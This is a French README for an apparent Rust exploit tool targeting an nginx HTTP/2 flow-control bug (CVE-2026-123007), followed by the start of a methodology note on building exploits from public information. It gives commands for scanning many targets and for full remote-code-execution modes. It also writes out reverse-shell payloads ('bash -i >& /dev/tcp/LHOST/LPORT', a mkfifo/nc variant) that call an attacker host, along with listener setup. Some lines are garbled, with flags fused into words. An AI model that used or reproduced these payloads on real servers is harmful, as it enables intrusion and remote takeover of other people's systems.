Note de recherche : Transformer le renseignement public en exploit root (Étude de cas : CVE-2026-123007)
Un client d'exploitation pour CVE-2026-123007 (un underflow d'entier dans le contrôle de flux HTTP/2 de nginx pouvant mener à une RCE avec les privilèges du worker). Un seul binaire Rust. Aucune installation, compilation ou déploiement de nginx n'est requis : l'outil ne communique qu'avec une cible qui existe déjà (un serveur nginx public, ou une instance localhost que vous avez configurée vous-même).
Vous voulez seulement prouver la CVE ? Lisez
PROOF.md. Une seule commande, ~14 MiB, sans listener/profile/119 GiB :poc --host https://TARGET/ --safe(--proofest un alias).--exploit/--shellci-dessous servent à la chaîne RCE complète.
# 1. build (once)
cargo build --release
# 2. check whether a target is vulnerable — safe, no crash, ~14 MiB
./target/release/poc --host https://target.example --safe
# 3. many targets at once (one URL per line)
./target/release/poc --targets targets.txt --safe
# or several URLs directly
./target/release/poc --hosts https://a.example --hosts https://b.example
Sans option de mode, la valeur par défaut est --safe (économique et sûr).
Sortie en cas de succès :
[+] CVE-2026-123007 PROOF: VULNERABLE
target: https://target.example/ resource: /index.html
observed: server=Some("nginx/1.31.8") settings=[...] body=896 bytes
[1] queued-DATA refund : PASS (2 streams reset with FLOW_CONTROL_ERROR=3)
[2] public-byte release : PASS (10 bytes returned)
[3] underflowed WU guard : PASS (post-refund PING ACK)
[4] connection still usable: PASS
no memory corruption, no crash, no shell
VULNERABLE signifie que le bug de comptabilité a été prouvé sur cette cible. NOT PROVEN
signifie que la cible ne l'a pas montré (corrigé, pas HTTP/2, corps trop petit, ou une
autre ressource est nécessaire). Codes de sortie : 0 vulnérable, 4 non prouvé.
Le chemin peut être fourni dans --host ou explicitement avec --path :
./target/release/poc --host https://target.example/landing --safe # resource /landing
./target/release/poc --host https://target.example --safe --path /large-file.bin
--safe exige HTTPS + HTTP/2 (ALPN h2) et une ressource de 521–8192
octets qui prend en charge Range. Le message d'erreur indique la taille de vague calculée
lorsque le corps est en dehors de cette plage.
| Mode | Ce qu'il prouve | Trafic | Temps |
|---|---|---|---|
--safe | bug de comptabilité + garde en underflow, sans corruption | ~14 MiB | secondes |
--exploit | chaîne complète, payload déclenché | ~119 GiB | minutes |
--shell | chaîne complète + id/whoami/date/uname -a | ~119 GiB | minutes |
Pour répondre à « la cible est-elle vulnérable ? », --safe suffit. Des centaines de Go ne sont
utilisés que lors de l'exécution réelle d'un RCE.
--targets (liste de cibles)Une origine par ligne ; les lignes vides et les # commentaires sont ignorés :
# example targets.txt
https://target-a.example
https://target-b.example:8443
Les lignes http://... sont SKIPpées car --safe exige TLS + ALPN h2
(les cibles HTTP/1.1 uniquement sont également SKIP/NOT PROVEN). --targets est réservé à
--safe ; pour l'exploitation, exécutez une cible à la fois avec --host.
Une ligne de résultat est affichée par cible, suivie d'un résumé
N tested, M vulnerable.
--exploit et --shellCeux-ci nécessitent une cible qui correspond à un profil intégré (nginx 1.31.8
Debian 13 amd64, glibc 2.41, CPU cible avec avx512f + avx512vl, 4 workers,
/index.html de 896 octets). Un profil 1.31.6 est également inclus. Sans correspondance,
--safe peut toujours répondre à la question de vulnérabilité, mais la chaîne RCE ne
s'exécutera pas.
Choisissez un workflow, pas les deux (sinon le port entre en conflit) :
Workflow A — --shell (le plus simple ; l'outil écoute) :
./target/release/poc --host https://target --shell --lhost ATTACKER_IP --yes
# do not run nc/socat: the tool already listens on 0.0.0.0:4444
Workflow B — --exploit + un listener manuel :
# macOS / BSD:
nc -lv 4444
# Linux (nc/OpenBSD):
nc -lvnp 4444
# cross-platform alternative: socat TCP-LISTEN:4444,fork -
# dispatch the payload (prints the listener command and payload before the bulk)
./target/release/poc --host https://target.example --exploit \
--lhost 203.0.113.10 --lport 4444 --yes
--exploit n'écoute pas lui-même ; un code de sortie 0 signifie uniquement que la charge utile a été
envoyée (DISPATCHED (unconfirmed)). Votre listener constitue la preuve.
Alternativement, laissez l'outil écouter et vérifier le shell :
./target/release/poc --host https://target.example --shell \
--lhost 203.0.113.10 --lport 4444 --yes
# optional: --interactive to relay stdin/stdout after verification
--shell envoie id; whoami; date; uname -a; echo __OK__ et ne rapporte
SHELL OK que lorsque la sortie contient uid=. Codes de sortie : 0 shell vérifié,
1 erreur d'étape, 2 vulnérable mais la chaîne ne s'est pas terminée, 3 dispatché
sans shell, 4 non prouvé.
Charge utile par défaut : bash -i >& /dev/tcp/LHOST/LPORT 0>&1 (limite de 120 octets).
Sans bash, utilisez --cmd, par ex.
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f.
Linux : libssl-dev + pkg-config sont requis. macOS (Homebrew) :
brew install openssl@3 pkg-config
export PKG_CONFIG_PATH="$(brew --prefix openssl@3)/lib/pkgconfig"
cargo build --release
Sans PKG_CONFIG_PATH, la crate openssl récupère LibreSSL et échoue.
Le binaire est target/release/poc.
target does not negotiate HTTP/2 (ALPN h2) over TLS — HTTP/2 est désactivé sur
ce listener (ou la cible est en HTTP/1.1 uniquement).safe mode needs a response body of 521..8192 bytes — pointez --path vers
un fichier statique plus volumineux.cleanup-overcredit oracle failed — la cible est corrigée, ou un
proxy/CDN ne transmet pas les trames HTTP/2 sans modification.in-band HTTP/2 fingerprint matches no validated profile — une autre
build/version ; --safe reste valide, --exploit nécessite un profil calibré.DISPATCHED, NO SHELL — la charge utile s'est exécutée mais n'a pas pu atteindre --lhost
(pare-feu/NAT), ou bash est absent. Utilisez --cmd avec un oracle observable.POC_KEYUPDATES — un paramètre de débogage qui raccourcit le vol de bootstrap ; il
ne fait pas partie d'une exécution réelle.Cette section n'est pas nécessaire pour tester une cible. scripts/validate-safe.sh compile
nginx 1.31.8 et 1.31.10 depuis une arborescence source locale et vérifie VULNERABLE /
NOT PROVEN — il teste l'outil, il ne prépare pas une cible d'exploitation. Résultats
sur l'hôte de développement :
VULNERABLE (exit 0)NOT PROVEN (exit 4)La chaîne complète nécessite une cible x86-64 + AVX512 ; les limites sont décrites dans la section technique ci-dessous. Les notes de conception et les plans d'implémentation sont conservés dans l'arborescence de travail locale et ne sont pas poussés.
Cette section est une note méthodologique : comment passer de « un CVE critique a été annoncé ce matin » à un vérificateur et un exploit fonctionnels, en utilisant uniquement du matériel public et le logiciel vulnérable lui-même. Aucun détail privé de bug et aucun code d'exploit prêt à l'emploi ne sont supposés.
Commencez par les enregistrements faisant autorité, pas par les billets de blog :